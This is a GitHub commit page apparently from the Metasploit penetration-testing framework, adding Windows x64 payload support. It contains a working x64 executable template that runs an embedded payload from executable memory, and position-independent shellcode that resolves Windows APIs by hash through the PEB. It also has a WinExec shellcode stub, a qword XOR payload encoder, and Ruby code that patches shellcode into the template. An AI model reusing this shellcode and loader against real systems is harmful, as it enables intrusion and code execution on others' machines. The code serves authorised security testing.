Permalink
Browse files

Merge in the beginnings of x64 support from Stephen Fewer

git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
  • Loading branch information...
1 parent b397424 commit cf10a62dcc550bc94386db5dd92d9c65db05e11f HD Moore committed Aug 23, 2009
@@ -0,0 +1,32 @@
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Architecture: x64
+;
+; Assemble and link with the following command:
+; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main
+
+extrn ExitProcess : proc
+extrn VirtualAlloc : proc
+
+.code
+
+ main proc
+ sub rsp, 40 ;
+ mov r9, 40h ;
+ mov r8, 3000h ;
+ mov rdx, 4096 ;
+ xor rcx, rcx ;
+ call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
+ mov rcx, 4096 ;
+ mov rsi, payload ;
+ mov rdi, rax ;
+ rep movsb ; memcpy( lpPayload, payload, 4096 );
+ call rax ; lpPayload();
+ xor rcx, rcx ;
+ call ExitProcess ; ExitProcess( 0 );
+ main endp
+
+ payload proc
+ A byte 'PAYLOAD:'
+ B db 4096-8 dup ( 'A' )
+ payload endp
+end
Binary file not shown.
@@ -0,0 +1,108 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2003
+; Architecture: x64
+; Size: 192 bytes
+;-----------------------------------------------------------------------------;
+
+[BITS 64]
+
+; Windows x64 calling convention:
+; http://msdn.microsoft.com/en-us/library/9b372w95.aspx
+
+; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
+; Output: The return value from the API call will be in RAX.
+; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
+; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
+; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
+; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
+; Note: This function is unable to call forwarded exports.
+
+api_call:
+ push r9 ; Save the 4th parameter
+ push r8 ; Save the 3rd parameter
+ push rdx ; Save the 2nd parameter
+ push rcx ; Save the 1st parameter
+ push rsi ; Save RSI
+ xor rdx, rdx ; Zero rdx
+ mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
+ mov rdx, [rdx+24] ; Get PEB->Ldr
+ mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
+next_mod: ;
+ mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
+ movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
+ xor r9, r9 ; Clear r9 which will store the hash of the module name
+loop_modname: ;
+ xor rax, rax ; Clear rax
+ lodsb ; Read in the next byte of the name
+ cmp al, 'a' ; Some versions of Windows use lower case module names
+ jl not_lowercase ;
+ sub al, 0x20 ; If so normalise to uppercase
+not_lowercase: ;
+ ror r9d, 13 ; Rotate right our hash value
+ add r9d, eax ; Add the next byte of the name
+ loop loop_modname ; Loop untill we have read enough
+ ; We now have the module hash computed
+ push rdx ; Save the current position in the module list for later
+ push r9 ; Save the current module hash for later
+ ; Proceed to itterate the export address table,
+ mov rdx, [rdx+32] ; Get this modules base address
+ mov eax, dword [rdx+60] ; Get PE header
+ add rax, rdx ; Add the modules base address
+ mov eax, dword [rax+136] ; Get export tables RVA
+ test rax, rax ; Test if no export address table is present
+ jz get_next_mod1 ; If no EAT present, process the next module
+ add rax, rdx ; Add the modules base address
+ push rax ; Save the current modules EAT
+ mov ecx, dword [rax+24] ; Get the number of function names
+ mov r8d, dword [rax+32] ; Get the rva of the function names
+ add r8, rdx ; Add the modules base address
+ ; Computing the module hash + function hash
+get_next_func: ;
+ jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
+ dec rcx ; Decrement the function name counter
+ mov esi, dword [r8+rcx*4]; Get rva of next module name
+ add rsi, rdx ; Add the modules base address
+ xor r9, r9 ; Clear r9 which will store the hash of the function name
+ ; And compare it to the one we want
+loop_funcname: ;
+ xor rax, rax ; Clear rax
+ lodsb ; Read in the next byte of the ASCII function name
+ ror r9d, 13 ; Rotate right our hash value
+ add r9d, eax ; Add the next byte of the name
+ cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
+ jne loop_funcname ; If we have not reached the null terminator, continue
+ add r9, [rsp+8] ; Add the current module hash to the function hash
+ cmp r9d, r10d ; Compare the hash to the one we are searchnig for
+ jnz get_next_func ; Go compute the next function hash if we have not found it
+ ; If found, fix up stack, call the function and then value else compute the next one...
+ pop rax ; Restore the current modules EAT
+ mov r8d, dword [rax+36] ; Get the ordinal table rva
+ add r8, rdx ; Add the modules base address
+ mov cx, [r8+2*rcx] ; Get the desired functions ordinal
+ mov r8d, dword [rax+28] ; Get the function addresses table rva
+ add r8, rdx ; Add the modules base address
+ mov eax, dword [r8+4*rcx]; Get the desired functions RVA
+ add rax, rdx ; Add the modules base address to get the functions actual VA
+ ; We now fix up the stack and perform the call to the drsired function...
+finish:
+ pop r8 ; Clear off the current modules hash
+ pop r8 ; Clear off the current position in the module list
+ pop rsi ; Restore RSI
+ pop rcx ; Restore the 1st parameter
+ pop rdx ; Restore the 2nd parameter
+ pop r8 ; Restore the 3rd parameter
+ pop r9 ; Restore the 4th parameter
+ pop r10 ; pop off the return address
+ sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
+ ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
+ push r10 ; push back the return address
+ jmp rax ; Jump into the required function
+ ; We now automagically return to the correct caller...
+get_next_mod: ;
+ pop rax ; Pop off the current (now the previous) modules EAT
+get_next_mod1: ;
+ pop r9 ; Pop off the current (now the previous) modules hash
+ pop rdx ; Restore our position in the module list
+ mov rdx, [rdx] ; Get the next module
+ jmp next_mod ; Process this module
@@ -0,0 +1,24 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2003
+; Architecture: x64
+; Size: 263 + strlen(command) + 1
+;-----------------------------------------------------------------------------;
+[BITS 64]
+[ORG 0]
+
+ cld ; Clear the direction flag.
+ and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
+delta: ;
+%include "./src/block/block_api.asm"
+start: ;
+ pop rbp ; Pop off the address of 'api_call' for calling later.
+ mov rdx, 1
+ lea rcx, [rbp+command-delta]
+ mov r10d, 0x876F8B31 ; hash( "kernel32.dll", "WinExec" )
+ call rbp ; WinExec( &command, 1 );
+ ; Finish up with the EXITFUNK.
+%include "./src/block/block_exitfunk.asm"
+command:
+ ;db "calc", 0
View
@@ -549,7 +549,7 @@ def find_context_key(buf, badchars, state)
# Returns the list of bad keys associated with this encoder.
#
def find_bad_keys(buf, badchars)
- return [ {}, {}, {}, {} ]
+ return Array.new( decoder_key_size, {} )
end
#
@@ -11,14 +11,21 @@ class Msf::Encoder::Xor < Msf::Encoder
# Encodes a block using the XOR encoder from the Rex library.
#
def encode_block(state, block)
- Rex::Encoding::Xor::Dword.encode(block, [ state.key ].pack(state.decoder_key_pack))[0]
+ encoder = case state.decoder_key_size
+ when Rex::Encoding::Xor::Qword.keysize then Rex::Encoding::Xor::Qword
+ when Rex::Encoding::Xor::Dword.keysize then Rex::Encoding::Xor::Dword
+ when Rex::Encoding::Xor::Word.keysize then Rex::Encoding::Xor::Word
+ when Rex::Encoding::Xor::Byte.keysize then Rex::Encoding::Xor::Byte
+ else Rex::Encoding::Xor::Dword
+ end
+ encoder.encode(block, [ state.key ].pack(state.decoder_key_pack))[0]
end
#
# Finds keys that are incompatible with the supplied bad character list.
#
def find_bad_keys(buf, badchars)
- bad_keys = [ {}, {}, {}, {} ]
+ bad_keys = Array.new( decoder_key_size, {} )
byte_idx = 0
# Scan through all the badchars and build out the bad_keys array
@@ -27,19 +27,32 @@ module Msf::Payload::Windows
# payloads.
#
def initialize(info = {})
- if (info['Alias'])
- info['Alias'] = 'windows/' + info['Alias']
- end
+ ret = super( info )
# All windows payload hint that the stack must be aligned to nop
# generators and encoders.
- super(merge_info(info,
- 'SaveRegisters' => [ 'esp' ]))
+ if( info['Arch'] == ARCH_X86_64 )
+ if( info['Alias'] )
+ info['Alias'] = 'windows/x64/' + info['Alias']
+ end
+ merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
+ elsif( info['Arch'] == ARCH_X86 )
+ if( info['Alias'] )
+ info['Alias'] = 'windows/' + info['Alias']
+ end
+ merge_info( info, 'SaveRegisters' => [ 'esp' ] )
+ end
+
+ #if (info['Alias'])
+ # info['Alias'] = 'windows/' + info['Alias']
+ #end
register_options(
[
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'thread' ])
- ], Msf::Payload::Windows)
+ ], Msf::Payload::Windows )
+
+ ret
end
#
View
@@ -37,7 +37,13 @@ def self.to_executable(framework, arch, plat, code='')
# XXX: Add remaining x86 systems here
end
-
+
+ if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
+ if (plat.index(Msf::Module::Platform::Windows))
+ return to_win64pe(framework, code)
+ end
+ end
+
if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return to_osx_arm_macho(framework, code)
@@ -91,6 +97,19 @@ def self.to_win32pe(framework, code)
return pe
end
+ def self.to_win64pe(framework, code)
+ pe = ''
+
+ fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
+ pe = fd.read(fd.stat.size)
+ fd.close
+
+ bo = pe.index('PAYLOAD:')
+ pe[bo,2048] = [code].pack('a2048') if bo
+
+ return pe
+ end
+
def self.to_win32pe_service(framework, code, name='SERVICENAME')
pe = ''
View
@@ -37,6 +37,8 @@ def self.pack_addr(arch, addr)
case arch
when ARCH_X86
[addr].pack('V')
+ when ARCH_X86_64
+ [addr].pack('Q')
when ARCH_MIPS # ambiguous
[addr].pack('N')
when ARCH_MIPSBE
@@ -66,6 +68,8 @@ def self.endian(arch)
case arch
when ARCH_X86
return ENDIAN_LITTLE
+ when ARCH_X86_64
+ return ENDIAN_LITTLE
when ARCH_MIPS # ambiguous
return ENDIAN_BIG
when ARCH_MIPSLE
View
@@ -66,6 +66,7 @@
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
+ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'
View
@@ -16,4 +16,5 @@ module Xor
require 'rex/encoding/xor/generic'
require 'rex/encoding/xor/byte'
require 'rex/encoding/xor/word'
-require 'rex/encoding/xor/dword'
+require 'rex/encoding/xor/dword'
+require 'rex/encoding/xor/qword'
@@ -0,0 +1,15 @@
+#!/usr/bin/env ruby
+
+require 'rex/encoding/xor/generic'
+
+module Rex
+module Encoding
+module Xor
+
+class Qword < Generic
+
+ def Qword.keysize
+ 8
+ end
+
+end end end end
View
@@ -570,6 +570,7 @@ def self.md5(str)
# XXX: depends on the Msf code being loaded, not just Rex
def self.to_executable(arch, plat, code, note='')
+
if (arch.index(ARCH_X86))
if (plat.index(Msf::Module::Platform::Windows))
@@ -586,7 +587,13 @@ def self.to_executable(arch, plat, code, note='')
# XXX: Add remaining x86 systems here
end
-
+
+ if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
+ if (plat.index(Msf::Module::Platform::Windows))
+ return Rex::Text.to_win64pe(code, note)
+ end
+ end
+
if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return Rex::Text.to_osx_arm_macho(code, note)
@@ -625,7 +632,20 @@ def self.to_win32pe(code = "\xcc", note="")
return pe
end
+
+ def self.to_win64pe(code = "\xcc", note="")
+ pe = ''
+ fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
+ pe = fd.read(fd.stat.size)
+ fd.close
+
+ bo = pe.index('PAYLOAD:')
+ pe[bo, 2048] = [code].pack('a2048') if bo
+
+ return pe
+ end
+
def self.to_win32pe_service(code = "\xcc", name="SERVICENAME")
pe = ''
Oops, something went wrong.

0 comments on commit cf10a62

Please sign in to comment.